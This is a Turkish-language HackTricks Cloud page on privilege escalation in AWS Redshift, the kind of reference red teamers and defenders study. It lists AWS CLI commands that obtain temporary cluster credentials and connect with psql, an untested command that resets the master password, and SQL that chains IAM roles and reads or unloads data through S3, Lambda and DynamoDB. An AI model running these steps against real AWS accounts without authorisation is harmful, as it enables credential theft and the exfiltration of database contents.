AWS - Redshift Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Redshift
RDS hakkında daha fazla bilgi için bakınız:
redshift:DescribeClusters, redshift:GetClusterCredentials
Bu izinlerle tüm cluster’ların bilgilerini (isim ve cluster kullanıcı adı dahil) alabilir ve erişim için kimlik bilgilerini elde edebilirsiniz:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Olası Etki: Veritabanları içindeki hassas bilgilerin ortaya çıkarılması.
redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM
Bu izinlerle tüm cluster’ların bilgilerini alabilir ve erişim için credentials elde edebilirsiniz.
Dikkat: postgres kullanıcısı, credentials almak için kullanılan IAM identity’nin sahip olduğu permissions ile çalışacaktır.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Potential Impact: Veritabanları içinde hassas bilgilerin ele geçirilmesi.
redshift:DescribeClusters, redshift:ModifyCluster?
aws cli’den dahili postgres (redshit) kullanıcısının ana parolasını değiştirmek mümkün (sanırım gereken izinler bunlar ama henüz test etmedim):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
Olası Etki: Veritabanları içinde hassas bilgilerin bulunması.
Harici Servislere Erişim
Warning
Aşağıdaki tüm kaynaklara erişmek için kullanılacak rolü belirtmeniz gerekecek. Bir Redshift cluster’ına kullanabileceğiniz bir AWS rollerinin listesi atanmış olabilir eğer ARN’i biliyorsanız veya atanan varsayılanı kullanmak için sadece “default” olarak ayarlayabilirsiniz.
Ayrıca, explained here, Redshift rolleri birbirine eklemeye (concat) de izin verir (ilk rol ikinci rolü üstlenebiliyorsa) daha fazla erişim elde etmek için, ancak bunları sadece ayırarak virgülle belirtmelisiniz:
iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Lambdas
As explained in https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, Redshift’ten bir Lambda fonksiyonunu çağırmak şu şekilde mümkündür:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html adresinde açıklandığı gibi, S3 buckets içine okuma ve yazma mümkündür:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html adresinde açıklandığı gibi, dynamodb’den veri almak mümkündür:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
Warning
Verileri sağlayan Amazon DynamoDB tablosu, Amazon DynamoDB tablosunun bulunduğu AWS Region’ı belirtmek için REGION seçeneğini kullanmadığınız sürece kümenizle aynı AWS Region’da oluşturulmalıdır.
EMR
Bkz. https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
Kaynaklar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

